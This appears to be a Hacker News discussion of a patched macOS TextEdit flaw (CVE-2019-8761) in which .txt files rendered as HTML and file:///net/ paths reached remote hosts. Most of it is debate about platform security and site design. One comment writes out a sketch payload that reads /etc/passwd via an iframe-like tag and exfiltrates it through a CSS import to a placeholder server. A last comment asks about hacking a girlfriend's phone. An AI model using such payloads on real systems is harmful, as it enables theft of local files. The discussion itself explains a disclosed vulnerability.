22 ms·

Man who thought opening a TXT file is fine thought wrong

• xwdv 6y ago
  That headline is needlessly dramatic. It’s like the tag line for a movie poster for some cyber thriller.
  • fortran77 6y ago
    I disagree. Many of Apple's user-base believes that the platform is immune from viruses and malware. It's important to get the message out that it's no better (and may be worse) than other popular platforms. Especially since Apple claims their platform is "secure by design."
    • VectorLock 6y ago
      I don't think it can be worse than Windows. Not immune, but definitely not worse.
      • techrat 6y ago
        Depends on how you want to set the goalposts. By version, MacOSX is faring worse. By total history despite a good chunk of old Windows malware not being net capable or able to run in current modes... perhaps. https://www.vox.com/recode/2020/2/12/21134681/mac-pc-virus-malware-malwarebytes https://www.vox.com/recode/2020/2/12/21134681/mac-pc-virus-m... Safety by virtue of running MacOSX isn't enough anymore. Not that I'd argue it ever was totally safe/enough in the first place. Bad habits are what subject one to attacks more than anything else... and that's basically what Apple cultivated in their users through ignorance of threat mechanisms.
        • smoldesu 6y ago
          >Bad habits are what subject one to attacks more than anything else... and that's basically what Apple cultivated in their users through ignorance of threat mechanisms. This. 100 times this. The end user is the weakest link in your security chain, and the way Apple implements abstraction in MacOS makes it really difficult for the end user to understand what exactly they're doing, and what effect it has on their overall security.
        • jolux 6y ago
          Most of the safety has always been in being a minority platform, and consequently I don't think the threat level has really changed all that much over the past ten years. Apple are really hitting the gas right now with their SIP work and the immutable OS volume and such.
        • deleted 6y ago
          [deleted]
      • smoldesu 6y ago
        Windows has a good handful of security vulnerabilities, but you'd be surprised by how few people actually "target" Windows devices. Windows still has accountability to their enterprise users, which means they spend most of their time mitigating the more serious stuff rather than some infected exe you'll find floating around the internet. MacOS and it's Unix heritage make it a pretty interesting case study for hackers, and while it may not have the perceived "hackability" of a Windows box, the severity of a MacOS exploit can vary greatly. Not to mention, Apple's reluctance to work with security researchers and opaque development cycle only make it harder for the end user to ascertain what impact MacOS has on their personal security. I use neither of these operating systems on a daily basis, but I think you'd be surprised by how secure Windows is these days. It's by no means perfect, but it does a pretty good job of staying secure, even as the #1 desktop operating system in the world. Now if only Microsoft could make a secure desktop that was any good... wishful thinking.
        • jolux 6y ago
          >you'd be surprised by how few people actually "target" Windows devices What do you mean by this? As a percentage of malware it's not even close, Windows is far and away the most targeted platform: https://www.pcmag.com/news/windows-computers-account-for-83-of-all-malware-attacks-in-q1-2020 https://www.pcmag.com/news/windows-computers-account-for-83-...
          • smoldesu 6y ago
            It's also far and away the most used platform, so it should surprise nobody that it's the most targeted.
            • jolux 6y ago
              I'm not surprised, I'm just curious what you meant by saying I'd be surprised at how few people target it.
            • philistine 6y ago
              Android is way more common. https://en.wikipedia.org/wiki/Usage_share_of_operating_systems https://en.wikipedia.org/wiki/Usage_share_of_operating_syste...
      • meibo 6y ago
        Windows has a very good built-in antivirus now that protects you from pretty much all but 0-day vulnerabilities. Really I don't think you can draw any big comparisons here anymore nowadays - Apple's security on mac OS is sandboxing and signing, the latter of which power users will have turned off and the prior being inapplicable in this case.
  • techrat 6y ago
    The response, for the longest time, from a lot of MacOS users was that "Macs can't get viruses." No thanks, in large part, due to Apple's own advertising. This led to decades of bad online practices on the part of Mac users, thinking that by virtue of using an Apple computer, they were immune to such attacks they deemed exclusive to 'viruses.' Malware was for someone else, they'd argue. Because they don't get viruses, they were fine. As a result, one of the largest botnets for a time was a MacOS one. Flashback. https://en.wikipedia.org/wiki/Flashback_(Trojan) https://en.wikipedia.org/wiki/Flashback_(Trojan) The headline isn't needlessly dramatic. It's dramatic enough to prove a point. Bad habits and lack of safe file handling is the most guaranteed way one opens themselves up to attack vectors such as the one demonstrated in the article.
• marcinzm 6y ago
  To the author: This website seems to use something called SmoothScroll (edit: a javascript library) which makes my scrolling really really jumpy/janky. I'm using chrome on a MacBook with the touchpad. Made it basically impossible to scroll around the page which in turn made it very difficult for me to read the article.
  • VectorLock 6y ago
    Was about to post the same. This might be the most frustrating scrolling I've ever encountered.
    • bartread 6y ago
      Messing with native scrolling as a web antipattern is right up there with interfering with copy and paste. I will never understand why people do these things.
      • srswtf123 6y ago
        I don't really understand why browsers allow it!
        • dylan604 6y ago
          the browsers cannot control a dev that uses AJAX to continually redraw the page without causing the browser to update the history/location. typically a sign of a) a dev new to AJAX or b) a solo dev that created a PoC that got turned into a product with very little thought about things like history/state/etc. I myself am an option B person.
          • srswtf123 6y ago
            Thanks; I definitely don’t and can’t claim to understand the “front end” at this point. Your comment was enlightening.
      • lostlogin 6y ago
• alpha_squared 6y ago
  How does something like this wind up on the front page? As of this comment, it was posted 48 minutes ago with 12 points , one other comment, and sits at number 5. It's a self-professed clickbait title, though the content is interesting.
  • Waterluvian 6y ago
    The ranking algorithm put it here.
    • dylan604 6y ago
      the Zuck strikes again
  • deleted 6y ago
    [deleted]
  • gbh444g 6y ago
    I think each word in the title has a weight. Higher weight -> higher rank. If they found a way to insert "bitcoin" and "climate change" into the title, it would be number 1.
  • bawolff 6y ago
    Why not? You yourself just said "though the content is interesting." and the title might be a little clickbaity, but its not that bad. I've seen much worse reach the frontpage.
  • gus_massa 6y ago
    The post are sorted approximately by points / (time_in_hours+1)^1.5 * lot_of_penalties where 1.5 is a number that may change from time to time without warning, perhaps now it's 1.6 or something like that. The number of comments does not matter, unless the post has too much more comment than points, and the site adds a penalty. There are a lot of automatic and manual penalties added by the mods, and also added by the flags of the users. Most of the details are part of the secret sauce and change from time to time without warning.
• dsjfalksjdflksa 6y ago
  To this day osx still doesn't ship with a true plaintext gui editor.
  • macinjosh 6y ago
    applescript editor?
  • taejavu 6y ago
    Not true, TextEdit is exactly this, it’s just not the default. One checkbox in preferences activates plaintext mode for all new files.
    • dylan604 6y ago
      haha, after using OS X since the beginning, i have never even looked for this. after the first time of realizing it was rich text like WordPad and not a text editor Notepad, I never even attempted to use it for anything text related. better app options were available for pure text anyways. BBEdit was my gold standard in the way back days.
  • deleted 6y ago
    [deleted]
  • monadic11 6y ago
    Probably a quirk of english that I don't see as a native speaker, but I'd phrase this as a gui plaintext editor. Also, people not served by textedit are pretty niche.
    • chc 6y ago
      I think both sound equally valid. One sort of expands to "a GUI editor for plain text" in my mind and the other is more like "a plain text editor with a GUI."
      • jrochkind1 6y ago
        "plaintext gui editor" sounds like you are editing GUIs... in plaintext? Maybe a plaintext markup language for GUI's... I guess that's what HTML is!
• bellyfullofbac 6y ago
  File extensions are a kludge anyway. (And Windows 10 still hides them by default, because hey, backwards compatibility, and you wouldn't want to confuse Grandma who's seen the file be called "grandkids" since Windows 95..). Why should the filetype be dependent on the name? People even think renaming a .BMP to .JPG means now it's a compressed file! Old school Macs stored the filetype outside of a file, so you can rename the file "grandkids.mp4" and double-clicking it would still open it in the image viewer.
  • throwanem 6y ago
    Not really outside. The metadata was stored in a so-called "resource fork", with the file contents proper in a "data fork", both of which belonged to the file per se. Part of the resource fork was the "creator code", four bytes identifying the application which had created or could open the file, and the "type code", four more bytes defining which, among the potentially many kinds of files a given application could open, this file actually was. Binaries were stored in the same format, with IIRC an extra bit somewhere flagging them as executable. Classic Palm OS used an identical scheme, and for both platforms there was a freeware "ResEdit" application you could find to let you edit resource forks without paying for a real developer toolkit.
    • greggman3 6y ago
      Yes, and it sounded great on paper but was horrible for interoperability because a file was not self contained from the POV of filesystems that didn't support the resource fork. Every file you wanted to distribute cross platform needed 2 versions. One with all that metadata bundled up for Mac, one without it for everything else. It was a nightmare OS-X dropped it for good reason.
      • throwanem 6y ago
        Yeah, it was painfully overcomplicated for sure - Palm OS did it much more seamlessly for cross-filesystem interop, but it was only when SD cards and /Palm/Launcher came along and you didn't really need Hotsync any more that it really got comfortable. It was very much of its time and I don't regret that it's gone, but it was certainly a clever and interesting design.
• kccqzy 6y ago
  The bug is fixed now, as the articles notes at the end. I cannot reproduce this at all now. When I put HTML in an actual .txt file, TextEdit opened it showing the markup, not the rendered content. This is regardless of whether in Preferences, I check or uncheck "Display HTML files as HTML code instead of formatted text" checkbox.
  • mminer237 6y ago
    He says it was patched in 2020.
    • colejohnson66 6y ago
      But the log viewer shows March 31 2021?
      • novia 6y ago
        ran on an unpatched machine
      • movedx 6y ago
        Virtual Machine?
• bawolff 6y ago
  > I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts I find this kind of annoying. Either write about the vulnerability or don't.
  • twobitshifter 6y ago
    So... First vulnerability is that you can force someone to hit 2nd vulnerability is that you can print a password file (or other file) inside the text editor <iframedoc src="file:///etc/passwd"> A dangling markup attack is an attack that sends you information as part of the url request up to the next quote So you could do this and someone has sent you the contents of the password file when trying to get css <style>@import{ "file:///net/MYSERVER.COM/stealpassword.css?=<iframedoc src="file:///etc/passwd">"} </style>
    • bawolff 6y ago
      Which is very interesting in and of itself as that's not how dangaling markup attacks usually work (normally it would send the unparsed html, not the result of parsing the html). Not to mention wtf the non-standard <iframedoc> tag is and how it differs from an iframe. But my broader point was less the how, and more that the style of writing was obnoxious.
• Google234 6y ago
  Just post the POC for a 2019 bug...
• ampdepolymerase 6y ago
  Has Apple paid the author yet? Or is this yet another free bug bounty?
  • capableweb 6y ago
    I think most of the outside contributions to Apple and their ecosystem are unpaid so wouldn't surprise me if this is the same.
• userbinator 6y ago
  Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.
  • movedx 6y ago
    Agreed. This problem exists because someone wrote a tool that should only do one (really well) and but instead made it do five different things.
    • ethbr0 6y ago
      That sound in the background is emacs laughing.
      • eurasiantiger 6y ago
        You can press ctrl-super-meta-¥ to make it stop.
        • digitaltrees 6y ago
          Underrated.
        • tsimionescu 6y ago
          I don't think it will accept the command if it knows you learned it as anything other than C-S-M-¥.
    • azinman2 6y ago
      According to you. I appreciate that TextEdit is a rich editor. I can use vim or countless other apps for plain text. Few do what TextEdit does with its simplicity.
      • movedx 6y ago
• harikb 6y ago
  Small typo - it is Tavis Ormandy, not Ormary > we have previously seen memory corruption bugs leading to RCE by Tavis Ormary in Microsoft Notepad
• upofadown 6y ago
  The link provided in the article to HTTPLeaks required some sort of login for me. Here is the direct link: * https://github.com/cure53/HTTPLeaks https://github.com/cure53/HTTPLeaks There are a lot of ways HTML can leak information. HTTPLeaks is an attempt to create a test for all such leaks. Unfortunately, people keep inventing new ways for HTML interpretation to leak data. The article describes a particularly clever approach accidentally implemented by Apple.
  • bawolff 6y ago
    I don't know what people expect - don't run code you don't trust. There is also lots of ways for python to leak data if you execute a malicious python script.
    • schmidp 6y ago
      It's not about running code, it's about opening a TXT file with the operating system default handler for TXT files. So you what you are saying is basically 'do not open any files or websites you don't trust' - which is usually not what people expect as that would basically mean 'don't use your computer'
      • bawolff 6y ago
        More specificly im saying, the web is designed around making network requests. If your threat model is not to make network requests, you shouldn't try and sanitize html vis blacklists because you'll be in for a bad tine (responding to the grandparent's list of html leaks not the article. I agree that its unreasonable that the txt file does anything. The mistake is in the apple devs trying to sanitize html which is doomed to failure)
• brandededed 6y ago
  How to immediately stop me from reading your article? Embed code that harassess me to "Pin it."
• lupire 6y ago
  Why is TextEdit accessing the Internet without permission? Does Big Sur's Access Control block stuff like this?
  • jrochkind1 6y ago
    From the OP it sounds like there is a very weird feature/component in MacOS called "AutoMount" and/or "AutoFS" that lets HTTP GET network requests be made via reading file system locations... and it may somehow escape other access controls? I too am curious for more details about this. Where did this feature come from, how has it been used, has it actually been used? Is AutoMount/AutoFS still there after this CVE patch? Does it indeed circumvent Access Control or other such things? Is it a likely path for other security problems?
    • slrz 6y ago
      I don't think this is doing any HTTP. Autofs is generally used to mount remote file systems like NFS shares. It's pretty common on Unix-like systems (especially in multi-user environments) and not at all specific to macOS. References: https://wiki.archlinux.org/index.php/autofs https://wiki.archlinux.org/index.php/autofs https://www.freebsd.org/cgi/man.cgi?query=autofs&sektion=5 https://www.freebsd.org/cgi/man.cgi?query=autofs&sektion=5 https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/nfs-autofs https://access.redhat.com/documentation/en-us/red_hat_enterp...
      • jrochkind1 6y ago
        The only thing I know about this is what I learned from the OP reporting the vulnerability. Maybe I was mistaken the request was HTTP? Anyway, rest applies, assuming the article is correct in describing the nature of the vulnerability. Anyway, if this is how TextEdit got around macos access controls related to network activity, I wonder if this is a route for other apps, including malicious ones, to get around it too? > After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com > While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.
• crazygringo 6y ago
  Oh, man. The idea that TextEdit automatically parsed .txt files as HTML if they started with a certain file signature is problematic... ...but the fact that file:// schemes can access remote files by appending /net/ followed by a domain name is pretty shocking. I mean, the entire purpose of "file://" would seem to be to provide access to local/mounted files and only those. The fact that a Mac engineer thought it would be a great "feature" to allow file:// to access the entire internet is... kinda terrifying. Did that get patched, or was it only TextEdit?
  • jjtheblunt 6y ago
    I think it carries over from NeXTstep, iirc.
    • ethbr0 6y ago
      It feels like a choice when "net" meant "my campus network", not "the internet." Because why would you be connected to the internet all the time? And how could you even afford those long distance calls?
      • 1MachineElf 6y ago
        Because why would you be connected to the internet all the time? And how could you even afford those long distance calls? That one East German guy in Cliff Stoll's The Cuckoo's Egg found a creative answer for both of those.
  • deleted 6y ago
    [deleted]
  • SquibblesRedux 6y ago
    Looking in /etc/auto_master, which is the configuration for Autofs, the /net mount point is commented out by default. I do not know when (or if) it was ever turned on by default.
    • tmp538394722 6y ago
• Animats 6y ago
  MacOS, too? That's a classic Microsoft kind of bug. At one point in the Windows XP era, Windows would execute anything that came anywhere near a desktop machine - USB sticks, CDs, web sites with install files... "Ease of use", right? They gradually tightened up.
• Wowfunhappy 6y ago
  Hmm, I can't replicate this on my Mac running 10.9. printf '<!DOCTYPE HTML><html><head></head><body>' > test.txt Opening test.txt shows the exact code I printed. Am I missing something?
  • twobitshifter 6y ago
    He said it was patched in 2020
    • Wowfunhappy 6y ago
      And 10.9 was last updated in 2016. :)
  • philistine 6y ago
    the preferences allow you to set wether html is parsed or displayed as is. Perhaps it's due to that ?
    • Wowfunhappy 6y ago
      Yep, was was it. I forgot I set that. Some odd things are going on here though. The file is listed as “locked” when I open it, and if as TextEdit to unlock it, it fixes the file extension.
• Thorentis 6y ago
  Meta comment: The custom scroll behaviour on that site is awful. I hate sites that try to "improve" the behaviour of scrolling by making it faster/slower than normal.
  • Exuma 6y ago
    Amen...
  • raverbashing 6y ago
    Yeah, it's ironic in a way. TXT files should open as TXTs and scroll should scroll naturally and not be tampered with.
    • elwell 6y ago
      Love this comment
  • jspash 6y ago
    I've been racking my brain trying to figure out just what "benefit" is had by this type of scroll-jacking but to no avail. It does seem to help in any way and all it does is frustrate the user. Luckily the spacebar behaviour remains untouched, but you shouldn't have to experiment with each and every snowflake webpage just to have the default actions act as you would expect. It's not the author's fault necessarily. Well, they _did_ choose the template and decided to keep it. But the template comes from a company who targets WP templates towards Female Entrepreneurs, most likely in a bid to win some slice of Google's keyword share with "Feminine Blogger Templates". Not sure what my point is, except that maybe they are incredibly out of touch with a lot of things these days. And I'll it there. This is turning into an unintended stream-of-though rant. Sorry!
  • argvargc 6y ago
    Imagine if a site made the user downpress on a link for a longer time before the click would register? It's actually insane.
    • 6y ago
• Ansil849 6y ago
  > On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), I hate this about TextEdit. Is there a way to turn auto-formatting off? If I paste text, I want it to be stripped of any imported formatting.
  • NaOH 6y ago
    Edit > Paste And Match Style
  • rangewookie 6y ago
    when you open textedit you can change the mode to plain text with menu>format>make plain text.
• unnouinceput 6y ago
  Oh, what do you know, Apple is using the same shitty playbook that Microsoft used and outgrew off from 90's. Remember when opening and interpreting everything by default was the source of all kind of malware because Microsoft thought usability/convenience must trump security? I remember. Nowadays they toned that down: - no more macros enabled by default, no more default autoplay, no more automatically opening mail attachments in Outlook, and definitely Notepad doesn't interpret HTML tags within anything you threw at, including .html files.
• hit8run 6y ago
  Well written. Thank you.
• contradict 6y ago
  It would only leak your real IP if you were using a proxy through your browser, right? If you were using a VPN it would give the VPN server's IP address? edit: comment hidden, probably due to new account. Leaving it up just for reference
• benatkin 6y ago
  There's nothing sacred about .txt files. It's a DOS/Windows thing.
• tambourine_man 6y ago
  > reading files with infinite data streams like /dev/urandom, /dev/zero. a 2kb text file can crash your mac. Wouldn't this just beach ball TextEdit, which you could force quit and carry on?
• fulafel 6y ago
  For attachment handling there's really a need for a service that takes the file in light of the uploaded suffix and mime type, and normalizes or rejects it (in a sandbox) based on how safe for consumption it is for common apps that handle that kind of file. For normalization eg GhostScript can convert PDFs to PDF/A that contain no scripts, images can be recoded, etc. Open source project idea? Or is there something this lie this already?
• lgats 6y ago
  https://cve.report/CVE-2019-8761 https://cve.report/CVE-2019-8761
• intricatedetail 6y ago
  I wonder if there is an Apple's backdoor to read users' text files when they open it and send saucier things to them. We will probably never know as this could be collated with other stuff and sent with metrics.
• _0ffh 6y ago
  Heh, the observation from the "zones of thought" universe comes to mind: If you want to be safe, don't even try to sneak a peek!
• sammax 6y ago
  > I found another browser trick that lets force-downloaded TXT files to be opened without user interaction or warning I wish there was more elaboration on this. Opening a downloaded file without user interaction sounds pretty bad.
  • TazeTSchnitzel 6y ago
    That is Safari's default behaviour for ZIP files. Only to extract them, though.
    • kergonath 6y ago
      Still a terrible idea, though.
    • sammax 6y ago
      So whenever the program used for extracting ZIPs has a vulnerability any website could force-download a malicious ZIP and it would automatically be extracted and trigger the vulnerability... Why is "force-download" even a thing? IMO the browser should always ask before downloading any file. Though this is not a unique Mac thing, I believe Chrome does that everywhere.
    • dividuum 6y ago
      What happens with 42.zip and other zip bombs? https://www.bamsoftware.com/hacks/zipbomb/ https://www.bamsoftware.com/hacks/zipbomb/
• hamilyon2 6y ago
  How i am not surprised? And people still insist on lax field/input/request validation, without ever knowing where this input will ultimately end up. Sure, you know this is a simple txt file, so anything can come into it, right? There is no such thing as malicious txt file.
• fouc 6y ago
  Fascinating, I've always been annoyed when Textedit would open a .txt file and treat it as rtf/html. In retrospect that's a pretty obvious attack vector :/
• wslh 6y ago
  It reminds me of thinking that invoking the cat command is benign: https://seclists.org/bugtraq/1999/Sep/432 https://seclists.org/bugtraq/1999/Sep/432
• cyberlab 6y ago
  Small thing I do first when a new Windows has been installed: make the file association of .VBS and .JS files open with Notepad instead of wscript.exe[0] Mitigates `iloveyou`[1] virus type attacks on my system [0] https://en.wikipedia.org/wiki/Windows_Script_Host https://en.wikipedia.org/wiki/Windows_Script_Host [1] https://en.wikipedia.org/wiki/ILOVEYOU https://en.wikipedia.org/wiki/ILOVEYOU
• hnarn 6y ago
  The title should be: > Man who thought opening a TXT file in TextEdit is fine thought wrong There are many, many text editors out there that would not attempt to parse HTML upon opening a text file.
  • Mordisquitos 6y ago
    Or even something like this: > Man who thought TextEdit could be trusted as a plain text editor is wrong This is one more example of what I find so frustrating about macOS, which is all those hidden little features trying to be "smart" and "user friendly" just in case I the user do not really know what I'm doing.
• arbirk 6y ago
  The scroll event processing on the blog is super annoying. With all the js-errors I'm pretty sure we are all guinea pigs for op's hacking efforts lol
• 2ion 6y ago
  > It seems TextEdit for some reason thought it should parse the HTML even while the file format was TXT. So we can inject a bunch of limited HTML into a text file, now what? Well, what's a file type unless you know it from context, for example a special file system attribute that set to "text/html"? Heuristics. At the very least I think it's better to ignore file "extensions" completely when dealing with the data inside than to make it the deciding factor. libmagic, which powers a lot of file(1)'s work, is called libmagic for several reasons.
• isjamesalive 6y ago
  > This vulnerability was reported to Apple in Dec 2019, and it got patched somewhere in 2020. I don’t know why a CVE-2019 ID is given. FYI: The year part of a CVE ID is either when the ID was assigned or when the issue was publicised: https://cve.mitre.org/about/faqs.html#year_portion_of_cve_id https://cve.mitre.org/about/faqs.html#year_portion_of_cve_id Not (as I had assumed) when the vulnerable software was first published.
• mike202020 6y ago
  Im trying to hack my girlfriends phone??????